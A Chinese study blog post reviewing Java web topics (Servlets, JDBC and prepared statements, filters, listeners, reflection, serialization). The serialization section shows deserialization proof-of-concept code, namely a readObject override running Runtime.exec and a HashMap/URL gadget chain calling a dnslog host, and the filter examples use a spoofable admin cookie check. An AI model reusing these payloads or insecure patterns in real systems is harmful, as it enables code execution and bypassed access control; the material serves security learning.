当前位置: 首页 > news >正文

小迪23年-32~40——java简单回顾

原生类

课堂完结后欲复习巩固也方便后续-重游-故写此篇
从实现功能过渡到涉及的相关知识点

Servlet

Java Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。
简单来说就是帮你接收和发送浏览器信息的,需自定路由的“中间层”

知识点

1、 有两种设置路由的方式。
  1.1、最原生的是在 java 同级文件夹 webapp 的里的文件 web.xml 里设置,比如:

<servlet><servlet-name>sun</servlet-name><servlet-class>com.example.demo1.sun_servlet</servlet-class>
</servlet>
<servlet-mapping><servlet-name>sun</servlet-name><url-pattern>/sun1</url-pattern>
</servlet-mapping>
<servlet-mapping><servlet-name>sun</servlet-name><url-pattern>/sun2</url-pattern>
</servlet-mapping>

  1.2、还有就是普遍使用的Servlet 3.0引入的一个特性 @Webservlert 注解

@WebServlet注解是Servlet 3.0引入的一个特性,它允许开发者在Servlet类上使用注解来声明Servlet的一些属性,从而避免在web.xml文件中进行配置。

只需了解前两个属性就好:name,value。例:@Webservlet(name="nm",value="/path") ,可简写作@Webservlet("/path")

name 的值相当于 web.xml 里的 <servlet-name> 属性,不写默认为类的全限定名

2、 全限定类名

全限定类名的主要作用是提供一个唯一的类标识,避免不同包中具有相同类名的类之间的冲突。

比如 servlert 必须引用的 HttpServlet 的全限定类名是 :javax.servlet.http.HttpServlet

3、 除了支持 get、post 方式发送请求的重写方法 doGetdoPost,还有只在最开始执行一次的 init(),只在销毁的时候执行一次的 destroy

Code

具体的知识点不多,以自带的 HelloServlet 类为例小小改一下当复习就好了

package com.example.demo1;import java.io.*;
import javax.servlet.ServletException;
import javax.servlet.http.*;
import javax.servlet.annotation.*;@WebServlet(name = "helloServlet", value = "/hello-servlet")
public class HelloServlet extends HttpServlet {private String message;@Overridepublic void init() throws ServletException {//最先被执行且一次message = "Hello World!";}@Overridepublic void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {response.setContentType("text/html");// HelloPrintWriter out = response.getWriter();
//        out.println("<html><body>");
//       out.println("<h1>" + message + "</h1>");
//       out.println("</body></html>");// 或者换种支持链式写法 out.append("<html><body>").append("<h1>" + message + "</h1>").append("</body></html>");}@Overridepublic void destroy() {System.out.println("我销毁了,你看着办");}
}

JDBC

JDBC(Java Database Connectivity)是Java语言中用于操作关系型数据库的一套API。它提供了一组标准接口,使得Java程序可以与不同的数据库进行交互。JDBC的核心思想是面向接口编程,通过定义一组标准接口,各个数据库厂商实现这些接口,从而提供数据库驱动。

简单流程:导入驱动 jar 包 -> 通过反射加载驱动 -> 连接数据库 -> 请求并接收处理返回的数据库数据

知识点

1、 由于java的预编译语言特性,所以原生开发就有有效的法子预防sql注入(预编译),后面 Code 里细嗦

2、 加载数据库驱动的目的是将 JDBC 驱动加载到 JVM(java虚拟机)里,为后续 连接数据库时调用 JDBC 接口做准备。

//加载数据库驱动
try {Class.forName("com.mysql.cj.jdbc.Driver");
} catch (ClassNotFoundException e) {throw new RuntimeException(e);
}

3、 预编译防 sql 原理

预编译(Prepared Statements)是一种在执行SQL查询之前,先将SQL语句的结构固定下来,并将用户输入的参数作为独立的变量处理的方法。具体来说,预编译的SQL语句会先提交给数据库进行编译,生成一个执行计划,然后在执行时再将参数传递给这个执行计划。

所以重点是结构确定了,说简单点就是已经把命令执行完一大半了,就差个参数然后把结果给你了。所以参数是单独处理的!而非拼接然后第二次执行 sql 语句,注入自然是无效的。

Code

这里以是否预编译语句连接数据库为例,为了方便测试写在main函数里。如果需要传参也是一样的写在doget里就好了

public static void main(String[]args) throws ClassNotFoundException, SQLException {//加载数据库驱动Class.forName("com.mysql.cj.jdbc.Driver");//获取数据库连接String url = "jdbc:mysql://localhost:3307/class_1";String username = "root";String password = "password";Connection connection = DriverManager.getConnection(url, username, password);/*** 预编译安全写法*/
//        String sql = "SELECT * FROM news where id=?";
//        try(PreparedStatement preparedStatement = connection.prepareStatement(sql)){
//            // 设置参数,防止SQL注入攻击
//            preparedStatement.setString(1,"s");
//            ResultSet resultSet = preparedStatement.executeQuery();
//            while (resultSet.next()) {
//                int id = resultSet.getInt("id");
//                String name = resultSet.getString("title");
//                String author=resultSet.getString("author");
//                String content=resultSet.getString("content");
//                String img=resultSet.getString("img");
//                System.out.println("-----------------------");
//                System.out.println(id);
//                System.out.println(name);
//                System.out.println(author);
//                System.out.println(content);
//                System.out.println(img);
//            }
//            //关闭数据库连接
//            resultSet.close();
//        }/*** 不安全写法* *///sql语句String sql = "SELECT * FROM news where id=1";Statement statement = connection.createStatement();ResultSet resultSet = statement.executeQuery(sql);//遍历处理数据库集while (resultSet.next()) {int id = resultSet.getInt("id");String name = resultSet.getString("title");String author=resultSet.getString("author");String content=resultSet.getString("content");String img=resultSet.getString("img");System.out.println("-----------------------");System.out.println(id);System.out.println(name);System.out.println(author);System.out.println(content);System.out.println(img);}//关闭数据库连接resultSet.close();statement.close();connection.close();
}

编译与非编译写法运行结果分别如下所示:
编译:
安全写法
不编译:
不安全写法

安全问题

1、 课上讲的就一个是否预编译预防 sql 注入


Filter

过滤器,顾名思义就是过滤作用,在一个请求发送到服务器时,得先经过过滤器(如果有),然后才能到达处理函数。这让过滤器可以完成很多操作,比如身份识别,登录控制,权限管理,过滤敏感词汇等。
具体操作就是把包抓到,进行修改然后放行,或者请求拦截返回。

知识点

1、 实现过滤器需要写上注释 @WebFilter("/path") 并实现 Filter 接口在 doFilter 方法里面进行过滤等操作。

2、 以身份验证为例,可以拿 cookie 里面的值来判断是否是管理员(虽然并不安全)。当然请求包里的所有数据都是能拿到的,可以支持很细化的过滤操作。

3、 可以对所有路径进行过滤: @WebFilter("/*"),那也意味着过滤可以又多层,只要把请求下放。

Code

这里两层过滤分别进行-身份识别-和-xss过滤-为例

第一层过滤:过滤非管理员用户(adminFilter)

@WebFilter("/*")//所有路径都检测一下是否是管理员
public class adminFilter implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {System.out.println("---Filter:path:/*:启动成功——init");}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {System.out.println("---Filter:path:/*:开始过滤——doFilter");//两步,判断与放行HttpServletRequest req=(HttpServletRequest)servletRequest;HttpServletResponse rsp=(HttpServletResponse) servletResponse;//获取CookiesCookie[] cookies = req.getCookies();String userId = "admin";if (cookies != null){boolean flag=false;for (Cookie cookie : cookies){//查找名为"userId"的cookieif (Objects.equals(cookie.getName(), "userId") && Objects.equals(cookie.getValue(), "admin")) {flag=true;break;}}if(flag){System.out.println("---Filter:path:/*:欢迎管理员——doFilter");/*操作*/}else{System.out.println("---Filter:path:/*:不是管理员——doFilter");/*操作*/}//下放filterChain.doFilter(req,rsp);}}@Overridepublic void destroy() {System.out.println("---Filter:path:/*:结束过滤——destroy");}
}

第二层过滤:过滤xss用户(xssFilter)

@WebFilter(filterName = "xss",value = "/xss")
public class xssFilter implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {System.out.println("--Filter:path:/xss:启动成功——init");}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {System.out.println("--Filter:path:/xss:开始过滤——doFilter");//两步,判断与放行HttpServletRequest req=(HttpServletRequest)servletRequest;HttpServletResponse rep=(HttpServletResponse)servletResponse;String payload = req.getParameter("payload");//1、判断(大小写不敏感if(payload.toLowerCase().contains("<script>")){System.out.println("--Filter:path:/xss:XSS——doFilter");}else{//放行System.out.println("--Filter:path:/xss:无注入——doFilter");}filterChain.doFilter(req,rep);}@Overridepublic void destroy() {System.out.println("--Filter:path:/xss:结束过滤——destroy");}
}

Servlet路由:/xss(xss)

@WebServlet("/xss")
public class xss extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {resp.getWriter().append("<h1>hello Filter</h1>");System.out.println("-web:path:/xss:hello");}
}

测试如图

在这里插入图片描述

安全问题

1、 作为一个“过滤器”不安全的时候可能就只有程序员过滤不完全,有逻辑漏洞的时候了


Listener

Listener 是 Java Servlet 规范中的一部分,它提供了一种机制,使开发者能够编写监听器类来监听容器事件,并在事件发生时执行相应的逻辑。
下面是常见的三种类型,由于是简单了解,所以只演示HttpSessionListener(会话监听器)的简单监听。

知识点

1、 常见的有三种 Listener

  • ServletContextListener(上下文监听器):用于监听 Web 应用程序的启动和关闭事件。
  • HttpSessionListener(会话监听器):用于监听会话的创建和销毁事件。
  • ServletRequestListener(请求监听器):用于监听请求的创建和销毁事件。

Code

这里附上监听器和创建/销毁监听器的关键代码

/*** 监听器*/
@WebListener
public class ListenSession implements HttpSessionListener {@Overridepublic void sessionCreated(HttpSessionEvent httpSessionEvent) {System.out.println("---Listener:监听到了session创建---");}@Overridepublic void sessionDestroyed(HttpSessionEvent httpSessionEvent) {System.out.println("---Listener:监听到了session销毁---");}
}/*** 销毁监听器*/
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {System.out.println("--Listener:销毁Session---");req.getSession().invalidate();
}/*** 创建监听器*/
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {//创建SessionSystem.out.println("--Listener:创建Session---");req.getSession();
}

测试结果
在这里插入图片描述


反射

Java反射是一种强大的机制,允许程序在运行时动态地获取类的结构信息(如字段、方法、构造函数等),并对其进行操作。反射广泛应用于框架设计(如Spring的依赖注入)和动态代理等场景。
具体到 code 里就是一个对象的class类,Person.class

知识点

1、 反射其实和 mysql 的数据库 information_schema 很像,里面记录了所有的信息,而 java 提供了很多方法供你方便地拿取与调用而非敲搜索语句(),比如一个类,你可以通过反射获得这个类的所有信息,包括成员方法啊,构造方法啊,成员变量,当然也可以进行调用

2、 不看具体方法名而直接调用等特征让反射普遍用于框架设计或需要动态调整的场景里

3、 如果把存反编译数据的文件打开会发现是如图的乱码

在这里插入图片描述

Code

由于几乎都是理论知识,直接在code里说明方法的作用
如何获取class

/*** 如何获取Class实例呢*/
// 1、通过完整路径
Class p1=Class.forName("com.classthree.demo_01.reflect.Person");
// 2、通过类名
Class p2=Person.class;
// 3、通过类的实例
Class p3=(new Person()).getClass();
// 4、通过类加载器
ClassLoader loader=ClassLoader.getSystemClassLoader();
Class p4=loader.loadClass("com.classthree.demo_01.reflect.Person");//验证
System.out.println(p1==p2);//true
System.out.println(p2==p3);//true
System.out.println(p3==p4);//true

如何-获得/修改-成员变量(Field)

/*** Class获取成员方法* 共有就是共有,连默认都不算~*/
Class cls= Person.class;
// 获取公共成员变量数组
Field[] g_fields=cls.getFields();
System.out.println("---------------");
System.out.println(Arrays.toString(g_fields));
System.out.println("---------------");
// 获取所有成员变量数组
Field[] a_fields=cls.getDeclaredFields();
System.out.println(Arrays.toString(a_fields));
System.out.println("---------------");
// 获取单个公共成员变量
Field g_field=cls.getField("name");
System.out.println(g_field);
System.out.println("---------------");
// 获取单个(所有)成员变量
Field a_field=cls.getDeclaredField("nums");
System.out.println(a_field);/*** 前面是获取,那么更改呢*/
// 1、get
Person per=new Person();
per.age=12;
Field f=cls.getDeclaredField("age");
System.out.println("former:"+f.get(per));//former:12
//2、set
f.set(per,22);
System.out.println("end:"+f.get(per));//end:22

如何-获得/使用-构造方法(Constructor)

/*** 构造方法* set并获得实例*/
Class cls= Person.class;
// 1、所有公共构造方法
Constructor[] con1=cls.getConstructors();
System.out.println(Arrays.toString(con1));
System.out.println("---------------");
// 2、所有构造方法
Constructor[] con2=cls.getDeclaredConstructors();
System.out.println(Arrays.toString(con2));
System.out.println("---------------");
// 3、单个公共构造方法
Constructor con3=cls.getConstructor();//无参
Person p1= (Person) con3.newInstance();
System.out.println("---------------");
// 4、单个构造方法,私有的话需要true
Constructor con4=cls.getDeclaredConstructor(String.class);//一参
con4.setAccessible(true);
// 利用构造方法构造出对象
Person p2= (Person) con4.newInstance("Nailu");
System.out.println("---------------");

如何-获得/使用-成员方法(Method)

/*** 获得成员方法*/
Class cls= Person.class;
// 获取公共成员方法数组   注意:包括继承的!
Method[] g_methods=cls.getMethods();
System.out.println("---------------");
System.out.println(Arrays.toString(g_methods));
System.out.println("---------------");
// 获取所有成员方法数组
Method[] a_methods=cls.getDeclaredMethods();
System.out.println(Arrays.toString(a_methods));
System.out.println("---------------");
// 获取单个公共成员方法
Method g_method=cls.getMethod("pub_test",int.class);
System.out.println(g_method);
System.out.println("---------------");
Method g_method2=cls.getMethod("pub_test");//无参
System.out.println(g_method2);
System.out.println("---------------");
// 获取单个(所有)成员方法
Method a_method=cls.getDeclaredMethod("pub_test",int.class,String.class);
System.out.println(a_method);
System.out.println("---------------");
Method a_method2=cls.getDeclaredMethod("pub_test",String.class,int.class);
System.out.println(a_method2);
System.out.println("---------------");/*** 方法的执行* 浅浅写几个*/
Person p1=new Person();
a_method2.invoke(p1,"456",123);//公共双参方法456+123

还有就是类Person

public class Person {public String name;int age;protected String gender;private String nums;public Person() {System.out.println("公共无参");}public Person(String name, int age) {System.out.println("公共二参:"+name+"+"+age);}private Person(String name){System.out.println("私有一参:"+name);}public void get() {System.out.println("Person{" +"name='" + name + '\'' +", age=" + age +", gender='" + gender + '\'' +", nums='" + nums + '\'' +'}');}private void pri_test(int a){System.out.println("私有单参方法"+a);}private void pri_test(int a,String b){System.out.println("私有双参方法"+a+"+"+b);}public void pub_test(){System.out.println("公共无参方法");}public void pub_test(int a){System.out.println("公共单参方法");}public void pub_test(int a,String b){System.out.println("公共双参方法"+a+"+"+b);}public void pub_test(String a,int b){System.out.println("公共双参方法"+a+"+"+b);}
}

Serializer

Java序列化是将Java对象转换为字节序列的过程,而Java反序列化是将字节序列恢复为Java对象的过程。

知识点

1、 序列化就是把代码变成字节形式,易于保存(可保存到文件或数据库里)和网络传输

2、 反序列化漏洞,顾名思义就是在反序列化的时候出现的漏洞。比如网站反序列化你的序列化文件给你,那么就可以自己构造含有恶意代码的对象。(恶意代码可以在构造函数里,也可以在静态代码块里比如toString,还可以在方法里)

Code

这里先讲普遍的方式,在对象里加恶意代码。下面还有课上讲的利用特定类的配合进行带出

/*** 想要序列化这个对象就得先实现 Serializable 这个标记接口*/
public class Person implements Serializable {public String name;int age;protected String gender;private String nums;public Person() {System.out.println("公共无参");/*** 无参构造函数测试 ac*/
//        try {
//            Runtime.getRuntime().exec("calc");
//        } catch (IOException e) {
//            throw new RuntimeException(e);
//        }}public Person(String name, int age) {/*** 1、构造函数代码块隐式执行* 前提是-序列化的对象-创建时调用的是这个构造方法* =反序列化的时候弹窗* */
//        try {
//            Runtime.getRuntime().exec("calc");
//        } catch (IOException e) {
//            throw new RuntimeException(e);
//        }this.name=name;this.age=age;System.out.println("公共二参:"+name+"+"+age);}private Person(String name){System.out.println("私有一参:"+name);}@Overridepublic String toString() {/*** 2、静态代码块隐式执行* =打印的时候弹窗* */
//        try {
//            Runtime.getRuntime().exec("calc");
//        } catch (IOException e) {
//            throw new RuntimeException(e);
//        }return "Person{" +"name='" + name + '\'' +", age=" + age +", gender='" + gender + '\'' +", nums='" + nums + '\'' +'}';}public void get() {System.out.println("Person{" +"name='" + name + '\'' +", age=" + age +", gender='" + gender + '\'' +", nums='" + nums + '\'' +'}');}private void pri_test(int a){System.out.println("私有单参方法"+a);}private void pri_test(int a,String b){System.out.println("私有双参方法"+a+"+"+b);}public void pub_test(){System.out.println("公共无参方法");}public void pub_test(int a){System.out.println("公共单参方法");}public void pub_test(int a,String b){System.out.println("公共双参方法"+a+"+"+b);}public void pub_test(String a,int b){System.out.println("公共双参方法"+a+"+"+b);}/*** 原理是竞争反序列化函数里面的一个方法 readObject 从而执行* 反编译代码测试* =反序列化的时候弹窗*/private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {// 执行恶意代码Runtime.getRuntime().exec("notepad");//指向正确的readObject,这样就可以正常反序列化(了解)ois.defaultReadObject();}
}

利用 HashMap 类的方法 readobject()结合 URL 类带出

/*** 当入口参数包含 readObject 也会同重写对象 readObject 方法一样执行* 比如HashMap** 方法调用如下:* Gadget Chain:*  HashMap.readobject()*   HashMap.putVal()*    HashMap.hakh()*     URL.hashCode()   访问 url 路径*/HashMap<URL,Integer> map_=new HashMap<>();
URL url=new URL("http://temple.dnslog.cn");
map_.put(url,1);
String path2="url.txt";
//序列化与反序列化
Serializable(map_,path2);
UnSerializable(path2);

安全问题

1、 上面就是围绕漏洞来展开的,但是是可以防御的。比如

不使用原生的序列化
使用更安全的json或xml
使用白名单
输入验证
最小化使用(尽量不使用)
权限最小化(确保应用程序以最小的必要权限运行)等
及时更新程序以及安装补丁

(如有不恰当的地方欢迎指正哦 ~o(●’◡’●)o)


参考blogs:

【servlet的映射与在idea中的使用】

【JDBC 驱动加载原理解析】

【【Java 进阶篇】Java Listener 使用详解】

http://www.lryc.cn/news/619863.html

相关文章:

  • Dots.ocr:告别复杂多模块架构,1.7B参数单一模型统一处理所有OCR任务22
  • 直播预告|鸿蒙生态中的AI新玩法
  • 09--解密栈与队列:数据结构核心原理
  • 图像分割-动手学计算机视觉9
  • 算法提升-树上问题之(dfs序)
  • WPF的c1FlexGrid的动态列隐藏和动态列名设置
  • 《设计模式之禅》笔记摘录 - 15.观察者模式
  • WMware的安装以及Ubuntu22的安装
  • MCP协议更新:从HTTP+SSE到Streamable HTTP,大模型通信的进化之路
  • 学习STM32 脉冲计数实验
  • 猫头虎AI分享:Word MCP,让AI具备Word文档操作能力,文档创建、内容添加、格式编辑等AI能力
  • HGDB的分区表实现SQL Server的分区视图
  • 健永科技工业自动化RFID解决方案
  • Maven配置Docker插件推送至远程私有仓库
  • 相机按键功能解析
  • python基于Hadoop的超市数据分析系统
  • SODA自然美颜相机(甜盐相机国际版) v9.3.0
  • 云手机未来的发展趋势如何?
  • 什么是智能对讲机?技术演进与参数指标解析
  • 服务器安全检测与防御技术总结
  • USB基础 -- USB相关协议字段解析
  • 高防IP的防护原理是什么?
  • Linux系统之ELF文件
  • BAV99WT1G ON安森美 双串联高速开关二极管 集成电路IC
  • Kafka工作机制深度解析:Broker、Partition 与消费者组协作原理
  • C# WPF本地Deepseek部署
  • WPF 开发的瑞士军刀:Prism 框架从入门到精通指南
  • webrtc弱网-QualityRampUpExperimentHelper类源码分析与算法原理
  • VMD+皮尔逊+降噪+重构(送报告+PPT)Matlab程序
  • 在前端js中使用jsPDF或react-to-pdf生成pdf文件时,不使用默认下载,而是存储到服务器